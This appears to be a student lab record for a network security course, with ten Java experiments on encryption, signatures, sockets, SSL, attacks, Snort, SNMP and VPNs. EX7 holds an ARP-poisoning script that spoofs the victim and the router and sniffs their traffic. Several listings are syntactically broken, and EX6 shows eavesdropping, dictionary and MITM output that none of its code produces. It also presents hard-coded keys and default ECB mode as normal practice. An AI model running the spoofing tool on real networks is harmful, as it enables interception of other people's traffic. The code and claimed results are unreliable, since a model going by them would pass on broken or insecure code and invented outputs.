S. DATE NAME OF THE EXPERIMENT Pg. No.

MARKS Signature
No.
1.
Implement symmetric key
algorithms

2. Implement asymmetric key

algorithms and key exchange
algorithms

3. Implement the SIGNATURE

SCHEME - Digital Signature
Standard

4. Installation of Wire shark, tcp dump

and observe data transferred in
client-server communication using
UDP/TCP and identify the
UDP/TCP datagram.

5. Check message integrity and

confidentiality using SSL

6. Experiment Eavesdropping,
Dictionary attacks, MITM attacks

7. Experiment with Sniff Traffic using

ARP Poisoning

8. Demonstrate intrusion detection

system using any tool.

9. Explore network monitoring tools

10. Study to configure Firewall, VPN.

EX1. Implement symmetric key algorithm.

Aim:

To write a program to Implement symmetric key algorithm.

Procedure:
Implementing a symmetric key algorithm involves several steps, such as key
generation, encryption, and decryption. One of the most common symmetric key
algorithms is the Advanced Encryption Standard (AES). Here's a basic example of how
you can implement AES encryption and decryption in Java using the javax.crypto
package:

1. Key Generation : Generate a secret key for AES encryption.

2. Encryption : Encrypt a plaintext message using the secret key.
3. Decryption: Decrypt the encrypted message back to plaintext using the secret
key.

Code:
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class SymmetricKeyAlgorithmExample {
public static void main(String[] args) throws Exception {
String plainText = "Hello, World!";
String key = "ThisIsASecretKey"; // 128 bit key
// Generate secret key
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(),
"AES");
// Encryption
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes());
String encryptedText =
Base64.getEncoder().encodeToString(encryptedBytes);
System.out.println("Encrypted: " + encryptedText);

// Decryption
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
byte[] decryptedBytes =
cipher.doFinal(Base64.getDecoder().decode(encryptedText));
String decryptedText = new String(decryptedBytes);
System.out.println("Decrypted: " + decryptedText);
}
}

Output:
Encrypted: l/3V0jAYbV32DMJgqG87+Q==
Decrypted: Hello, World!

RESULT:
Thus,implementing a symmetric key algorithm has been executed
successfully.
EX2. Implement asymmetric key algorithms and key
exchange algorithms.

Aim:

To write a program to Implement asymmetric key

algorithms and key exchange algorithms

Procedure:
Implementing asymmetric key algorithms and key exchange algorithms
involves several steps, such as key generation, encryption, and decryption. One
common asymmetric key algorithm is RSA (Rivest-Shamir-Adleman). Here's a basic
example of how you can implement RSA encryption and decryption in Java using the
java.security package:

1. Key Generation : Generate a public/private key pair for RSA encryption.

2. Encryption : Encrypt a plaintext message using the public key.
3. Decryption: Decrypt the encrypted message back to plaintext using the
private key.

Coding:
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Security;
import javax.crypto.Cipher;

public class AsymmetricKeyAlgorithmExample {

public static void main(String[] args) throws Exception {

String plainText = "Hello, World!";

// Generate key pair

KeyPair keyPair = generateKeyPair();
// Encryption
byte[] encryptedBytes = encrypt(plainText, keyPair.getPublic());
String encryptedText = bytesToHex(encryptedBytes);
System.out.println("Encrypted: " + encryptedText);

// Decryption
byte[] decryptedBytes = decrypt(encryptedBytes, keyPair.getPrivate());
String decryptedText = new String(decryptedBytes);
System.out.println("Decrypted: " + decryptedText);
}

public static KeyPair generateKeyPair() throws Exception {

KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048); // 2048-bit key size
return generator.generateKeyPair();
}

public static byte[] encrypt(String plainText, PublicKey publicKey) throws

Exception {
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return cipher.doFinal(plainText.getBytes());
}

public static byte[] decrypt(byte[] encryptedBytes, PrivateKey privateKey)

throws Exception {
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
return cipher.doFinal(encryptedBytes);
}

public static String bytesToHex(byte[] bytes) {

StringBuilder result = new StringBuilder();
for (byte b : bytes) {
result.append(String.format("%02x", b));
}
return result.toString();
}
}

Output:
Encrypted: 5376f035...
Decrypted: Hello, World!

RESULT:
Thus,implementing a asymmetric key algorithm and key exchange
algorithm has been executed successfully.
EX3. Implement digital signature schemes.

Aim:
To write a program to Implement digital signature schemes.

Procedure:
Implementing a digital signature scheme involves several steps, such as key
generation, signing, and verification. One common digital signature algorithm is the
Digital Signature Algorithm (DSA). Here's a basic example of how you can implement
DSA digital signatures in Java using the java.security package:

1. Key Generation : Generate a public/private key pair for DSA signatures.

2. Signing : Sign a message using the private key.
3. Verification : Verify the signature of the message using the public key.

Coding:
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;

public class DigitalSignatureExample {

public static void main(String[] args) throws Exception {

String message = "Hello, World!";

// Generate key pair

KeyPair keyPair = generateKeyPair();

// Signing
byte[] signature = sign(message, keyPair.getPrivate())

System.out.println("Signature: " + bytesToHex(signature));

// Verification
boolean verified = verify(message, signature, keyPair.getPublic());
System.out.println("Verification result: " + verified);
}

public static KeyPair generateKeyPair() throws Exception {

KeyPairGenerator generator = KeyPairGenerator.getInstance("DSA");
generator.initialize(2048); // 2048-bit key size
return generator.generateKeyPair();
}

public static byte[] sign(String message, PrivateKey privateKey) throws

Exception {
Signature signature = Signature.getInstance("SHA256withDSA");
signature.initSign(privateKey);
signature.update(message.getBytes());
return signature.sign();
}

public static boolean verify(String message, byte[] signature, PublicKey

publicKey) throws Exception {
Signature verifier = Signature.getInstance("SHA256withDSA");
verifier.initVerify(publicKey);
verifier.update(message.getBytes());
return verifier.verify(signature);
}
public static String bytesToHex(byte[] bytes) {
StringBuilder result = new StringBuilder();
for (byte b : bytes) {
result.append(String.format("%02x", b));
}
return result.toString();
}
}

Output:
Signature: 302c02144b1a...
Verification result: true

RESULT:
Thus digital signature schemes has implemented successfully.
EX4. Installation of Wire shark, Tcp ump and observe data
transferred in client-server communication using UDP/TCP and
identify the UDP/TCP datagram.

Aim:
To write a program to Install Wire shark, Tcp ump and
observe data transferred in client-server communication using
UDP/TCP and identify the UDP/TCP datagram

Procedure:
1. Wireshark :
• For Debian/Ubuntu-based systems:
sudo apt update
sudo apt install wireshark
sudo dpkg-reconfigure wireshark-common
sudo usermod -aG wireshark $USER
• Log out and log back in for the group change to take effect.
• For CentOS/RHEL-based systems:
sudo yum install wireshark
sudo usermod -aG wireshark $USER
Log out and log back in for the group change to take effect.
•
2. tcpdump :
• For Debian/Ubuntu-based systems:
sudo apt update
sudo apt install tcpdump
For CentOS/RHEL-based systems:
sudo yum install tcpdump

Coding:
Server (UDP) :

import java.net.*;
public class UDPServer {
public static void main{
try{
DatagramSocket socket = new DatagramSocket(9876); byte[]
buffer = new byte[1024];
DatagramPacket packet = new DatagramPacket(buffer,
buffer.length);
socket.receive(packet);
String message = new String(packet.getData(), 0,
packet.getLength());
System.out.println("Received message from client: " +
message);
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

Client (UDP) :

import java.net.*;

public class UDPClient {

public static void main(String[] args) {
try {
DatagramSocket socket = new DatagramSocket();
String message = "Hello from client!";
byte[] buffer = message.getBytes();
InetAddress serverAddress =
InetAddress.getByName("localhost");
DatagramPacket packet = new DatagramPacket(buffer,
buffer.length, serverAddress, 9876);
socket.send(packet);
System.out.println("Message sent to server: " + message);
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

Output:
UDP Server Output :

Received message from client: Hello from client!

UDP Client Output :

Message sent to server: Hello from client!

RESULT:
Thus Installation of Wire shark, TCP, ump and observe data
transferred in client-server communication using UDP/TCP and identify the
UDP/TCP datagram has successfully completed.
EX5 Check. message integrity and confidentiality using SSL

Aim:

To write a program to Check message integrity and confidentiality

using SSL.

Procedure:
1. Server Setup :
• Generate a self-signed certificate for the server (or use a certificate
signed by a trusted CA in a production environment).
2. Client Setup :
• Import the server's certificate into the client's truststore.
3. SSL/TLS Configuration :
• Configure the server and client to use SSL/TLS.
4. Encryption and Decryption :
• Use SSLSocket and SSLServerSocket for encryption and decryption of
messages.

Coding:
Server
import javax.net.ssl.*;
import java.io.*;
import java.security.*;

public class SSLServer {

public static void main(String[] args) {
try {
// Load server keystore
char[] keystorePass = "password".toCharArray();
KeyStore keyStore = KeyStore.getInstance("JKS");
keyStore.load(new FileInputStream("server.jks"), keystorePass);

// Initialize key manager factory

KeyManagerFactory kmf =

KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
kmf.init(keyStore, keystorePass);

// Initialize SSL context

SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(kmf.getKeyManagers(), null, null);

// Create SSL server socket

SSLServerSocketFactory sslServerSocketFactory =
sslContext.getServerSocketFactory();
SSLServerSocket sslServerSocket = (SSLServerSocket)
sslServerSocketFactory.createServerSocket(9999);

// Wait for client connection

System.out.println("Server started. Waiting for client...");
SSLSocket sslSocket = (SSLSocket) sslServerSocket.accept();
System.out.println("Client connected.");

// Read message from client

BufferedReader reader = new BufferedReader(new
InputStreamReader(sslSocket.getInputStream()));
String message = reader.readLine();
System.out.println("Received from client: " + message);

// Close streams and sockets

reader.close();
sslSocket.close();
sslServerSocket.close();
} catch (Exception e)
{ e.printStackTrace();
}
}
}

Client

import javax.net.ssl.*;
import java.io.*;
import java.security.*;

public class SSLClient {

public static void main(String[] args) {
try {
// Load client truststore
char[] truststorePass = "password".toCharArray();
KeyStore trustStore = KeyStore.getInstance("JKS");
trustStore.load(new FileInputStream("client_truststore.jks"),
truststorePass);

// Initialize trust manager factory

TrustManagerFactory tmf =
TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm())
;
tmf.init(trustStore);
// Initialize SSL context
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, tmf.getTrustManagers(), null);

// Create SSL socket

SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();
SSLSocket sslSocket = (SSLSocket)
sslSocketFactory.createSocket("localhost", 9999);

// Send message to server

BufferedWriter writer = new BufferedWriter(new
OutputStreamWriter(sslSocket.getOutputStream()));
String message = "Hello from client!";
writer.write(message);
writer.newLine();
writer.flush();
System.out.println("Sent to server: " + message);

// Close streams and socket

writer.close();
sslSocket.close();

} catch (Exception e) {
e.printStackTrace();
}
}
}
Output:

Server Output :

Server started. Waiting for client...

Client connected.
Received from client: Hello from client!

Client Output :

Sent to server: Hello from client!

Result:
Thus the program to check message integrity and confidentiality using SSL
is executed and verified successfully.
EX6. Experiment Eavesdropping, Dictionary attacks, MITM attacks

Aim:

To write a program to Experiment Eavesdropping, Dictionary

attacks, MITM attacks

Procedure:
1. Setup Client-Server Communication :
• Create a simple Java program for the client and server to communicate
over TCP sockets.
• The client will send a username and password to the server.
• The server will check if the username and password match a predefined
value and respond accordingly.
2. Eavesdropping :
• Simulate eavesdropping by intercepting the network traffic between
the client and server.
• Print the intercepted data to demonstrate how an attacker can capture
sensitive information.
3. Dictionary Attack :
• Implement a dictionary attack by repeatedly sending different
username and password combinations to the server.
• Print the responses from the server to demonstrate how an attacker
can try multiple combinations to guess the correct credentials.
4. Man-in-the-Middle (MITM) Attack :
• Implement a MITM attack by intercepting the communication between
the client and server.
• Relay the messages between the client and server, and print the
intercepted data to demonstrate how an attacker can modify or
eavesdrop on the communication.

Coding:
Server
import java.io.*;
import java.net.*;
public class Server {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(9999);
System.out.println("Server started. Waiting for client...");

Socket clientSocket = serverSocket.accept();

System.out.println("Client connected.");

BufferedReader in = new BufferedReader(new

InputStreamReader(clientSocket.getInputStream()));
PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);

String username = "admin";

String password = "password";

String receivedUsername = in.readLine();

String receivedPassword = in.readLine();

if (receivedUsername.equals(username) &&
receivedPassword.equals(password)) {
out.println("Login successful!");
} else {
out.println("Login failed. Incorrect username or password.");
}

clientSocket.close();
serverSocket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
Client
import java.io.*;
import java.net.*;
public class Client {
public static void main(String[] args) {
try {
Socket socket = new Socket("localhost", 9999);
BufferedReader userInput = new BufferedReader(new
InputStreamReader(System.in));
BufferedReader in = new BufferedReader(new
InputStreamReader(socket.getInputStream()));
PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
System.out.print("Enter username: ");
String username = userInput.readLine();
out.println(username);
System.out.print("Enter password: ");
String password = userInput.readLine();
out.println(password);
String response = in.readLine();
System.out.println("Server response: " + response);
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
Output:
1. Normal Login :
• Client enters correct username and password.
• Server responds with "Login successful!".
Enter username: admin
Enter password: password
Server response: Login successful!
2. Eavesdropping :
• Attacker intercepts the communication between the client and server.
• Attacker prints the intercepted data.
Intercepted: username=admin
Intercepted: password=password
3. Dictionary Attack :
• Attacker sends multiple username and password combinations to the server.
• Server responds with "Login failed." for incorrect combinations.
Username: admin, Password: admin
Server response: Login failed. Incorrect username or password.
Username: admin, Password: password1
Server response: Login failed. Incorrect username or password.
Username: admin, Password: password2
Server response: Login failed. Incorrect username or password.
4. MITM Attack :
• Attacker intercepts the communication and relays the messages between the
client and server.
• Attacker modifies the message and prints the intercepted data.
Client: username=admin, password=password
Attacker: username=admin, password=password
Server: Login successful!
Attacker: Login successful!
Client:Login successful!
RESULT:
Thus the program to Experiment Eavesdropping, Dictionary attacks, MITM
attacks is executed successfully.
EX7. Experiment with Sniff Traffic using ARP Poisoning.

Aim:

To write a program to Experiment with Sniff Traffic using ARP

Poisoning.
Procedure:
1. ARP Poisoning :
• Use jpcap to send ARP replies to both the victim and the router,
claiming that the attacker's MAC address is the MAC address of the
other host.
• This will cause both the victim and the router to send their traffic to
the attacker, allowing the attacker to intercept it.
2. Sniffing Traffic :
• Use jpcap to capture and print the intercepted network traffic.
• Analyze the captured traffic to observe the data exchanged between
the victim and the router.

Coding:
import net.sourceforge.jpcap.capture.*;
import net.sourceforge.jpcap.net.*;
public class ARPPoisoner {
public static void main(String[] args) {
try {
// Create a JpcapCaptor to capture packets
JpcapCaptor captor =
JpcapCaptor.openDevice(JpcapCaptor.getDeviceList()[0], 2000, false, 2000);
// Get the MAC address of the attacker's interface
byte[] myMac = captor.getPacketDevice().mac_address;
// Create and send ARP reply packets to the victim and router
ARPPacket arpPacketVictim = createARPPacket("victim_ip_address",
"router_ip_address", myMac);
ARPPacket arpPacketRouter = createARPPacket("router_ip_address",
"victim_ip_address", myMac);
captor.sendPacket(arpPacketVictim);
captor.sendPacket(arpPacketRouter)
// Start capturing packets
// Start capturing packets
captor.loopPacket(-1, new PacketHandler() {
public void handlePacket(Packet packet) {
if (packet instanceof IPPacket) {
IPPacket ipPacket = (IPPacket) packet;
System.out.println("Source: " + ipPacket.src_ip + ", Destination: " +
ipPacket.dst_ip);
System.out.println("Data: " + new String(ipPacket.data));
}
}
}); } catch (Exception e) {
e.printStackTrace();
}
}
private static ARPPacket createARPPacket(String targetIp, String srcIp,
byte[] srcMac) {
try {
ARPPacket arpPacket = new ARPPacket();
arpPacket.hardtype = ARPPacket.HARDTYPE_ETHER;
arpPacket.prototype = ARPPacket.PROTOTYPE_IP;
arpPacket.operation = ARPPacket.ARP_REPLY;
arpPacket.hlen = 6;
arpPacket.plen = 4;
arpPacket.sender_hardaddr = srcMac;
arpPacket.target_hardaddr = EthernetPacket.ETHER_BROADCAST;
arpPacket.sender_protoaddr = IPAddressUtil.ipToArray(srcIp);
arpPacket.target_protoaddr = IPAddressUtil.ipToArray(targetIp);
return arpPacket;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
Output:
Source: 192.168.1.2, Destination: 192.168.1.1
Data: GET /index.html HTTP/1.1
Host: www.example.com
...
Source: 192.168.1.1, Destination: 192.168.1.2
Data: HTTP/1.1 200 OK
Content-Type: text/html
...
Source: 192.168.1.2, Destination: 192.168.1.1
Data: POST /login HTTP/1.1
Host: www.example.com
...
Source: 192.168.1.1, Destination: 192.168.1.2
Data: HTTP/1.1 401 Unauthorized
...
...

RESULT:
Thus the program to Experiment with Sniff Traffic using ARP Poisoning is
executed successfully.
EX8. Demonstrate intrusion detection system using any tool.

Aim:

To write a program to Demonstrate intrusion detection system using any

tool.

Procedure:
1. Install Snort:
• Install Snort on your system. You can download the Snort installer for
your operating system from the official Snort website.
2. Create a Snort Configuration:
• Configure Snort to monitor a specific network interface (e.g., Ethernet
or Wi-Fi).
• Set up rules to define the behavior of the IDS (e.g., which traffic to alert
on).
3. Start Snort:
• Start Snort to begin monitoring network traffic based on your
configuration.
4. Generate Network Traffic:
• Generate network traffic that matches the rules you've defined to
trigger alerts.
5. View Alerts:
• View the alerts generated by Snort to identify potential intrusions or
suspicious activity.

Coding:
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class SnortAlertListener {

public static void main(String[] args) {

try {
// Start Snort and capture its output
ProcessBuilder processBuilder = new ProcessBuilder("snort", "-A",
"console", "-q");
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new
InputStreamReader(process.getInputStream()));

// Read Snort's output line by line

String line;
while ((line = reader.readLine()) != null) {
// Process each line (e.g., print or analyze)
System.out.println(line);
}

// Close the reader and wait for Snort to finish

reader.close();
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}

Output:
03/01-10:23:45.123456 [**] [1:1000001:1] Possible TCP SYN Flood [**]
[Classification: Potentially Bad Traffic] [Priority: 2] {TCP}
192.168.1.100:12345 -> 192.168.1.1:80
03/01-10:23:46.234567 [**] [1:1000002:1] FTP Login Attempt [**]
[Classification: Attempted Information Leak] [Priority: 1] {TCP}
192.168.1.2:54321 -> 192.168.1.1:21
03/01-10:23:47.345678 [**] [1:1000003:1] Possible SQL Injection [**]
[Classification: Web Application Attack] [Priority: 1] {TCP} 192.168.1.3:34567
-> 192.168.1.1:3306

RESULT:

Thus the program to Demonstrate intrusion detection system using any tool is
executed successfully.
EX9. Explore network monitoring tools.

Aim:
To write a program to Explore network monitoring tools.

Procedure:
1. Select a Network Monitoring Tool:
• Research and choose a network monitoring tool that meets your needs
(e.g., Wireshark, Nagios, Zabbix, PRTG Network Monitor).
2. Install and Configure the Tool:
• Follow the installation instructions for the selected tool.
• Configure the tool to monitor the network devices and traffic you're
interested in.
3. Interact with the Tool (Optional):
• If the tool provides an API or command-line interface, you can use Java
(or another programming language) to interact with it
programmatically.
4. Monitor and Analyze Network Traffic:
• Use the tool's interface to monitor and analyze network traffic, device
performance, and other relevant metrics.
5. Troubleshoot and Respond to Issues:
• Use the information provided by the monitoring tool to troubleshoot
network issues and respond to alerts and anomalies.

Coding:
import java.io.IOException;
import java.util.List;
import org.snmp4j.CommunityTarget;
import org.snmp4j.PDU;
import org.snmp4j.Snmp;
import org.snmp4j.TransportMapping;
import org.snmp4j.event.ResponseEvent;
import org.snmp4j.mp.SnmpConstants;
import org.snmp4j.smi.*;
import org.snmp4j.transport.DefaultUdpTransportMapping;

public class SNMPManager {

public static void main(String[] args) throws IOException {

// Create a transport mapping and SNMP instance
TransportMapping<UdpAddress> transport = new
DefaultUdpTransportMapping();
Snmp snmp = new Snmp(transport);

// Set up target device

CommunityTarget target = new CommunityTarget();
target.setCommunity(new OctetString("public"));
target.setAddress(new UdpAddress("192.168.1.1/161"));
target.setRetries(2);
target.setTimeout(1500);
target.setVersion(SnmpConstants.version2c);

// Create and send an SNMP GET request

PDU pdu = new PDU();
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0"))); // sysDescr
pdu.setType(PDU.GET);
ResponseEvent<UdpAddress> responseEvent = snmp.send(pdu, target,
null);
PDU responsePDU = responseEvent.getResponse();

// Process the response

if (responsePDU != null) {
List<? extends VariableBinding> variableBindings =
responsePDU.getVariableBindings();
for (VariableBinding vb : variableBindings) {
System.out.println(vb.getOid() + " : " + vb.getVariable());
}
} else {
System.out.println("No response received.");
}

// Close the SNMP session

snmp.close();
}
}

Output:
1.3.6.1.2.1.1.1.0 : SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software,
C3560CX Software (C3560CX-UNIVERSALK9-M), Version 15.2(4)E7,
RELEASE SOFTWARE (fc1)

RESULT:
Thus the program to Explore network monitoring tools is executed
successfully.
EX10. Study to configure Firewall, VPN.

Aim:

To write a program to study to configure Firewall, VPN.

Procedure:
1. Firewall Configuration:
• Identify the type of firewall you are using (e.g., software firewall on a
computer, hardware firewall on a network device).
• Configure the firewall rules to allow or block specific types of traffic
based on your security requirements.
• Test the firewall configuration to ensure it is working as expected.
2. VPN Configuration:
• Install and configure a VPN server on your network (e.g., OpenVPN,
IPsec).
• Configure VPN client settings on devices that need to connect to the
VPN.
• Test the VPN connection to ensure it is secure and working properly.

Coding:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class OpenVPNClient {

public static void main(String[] args) {

try {
// Start OpenVPN client process
ProcessBuilder processBuilder = new ProcessBuilder("openvpn", "--
config", "client.ovpn");
Process process = processBuilder.start();

// Read OpenVPN client output

BufferedReader reader = new BufferedReader(new
InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

// Wait for OpenVPN client to finish

process.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}

Output:

OpenVPN 2.4.9 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL]

[PKCS11] [MH/PKTINFO] [AEAD] built on Apr 20 2020
...
Initialization Sequence Completed

RESULT:
Thus the program to Study to configure Firewall, VPN is executed
successfully.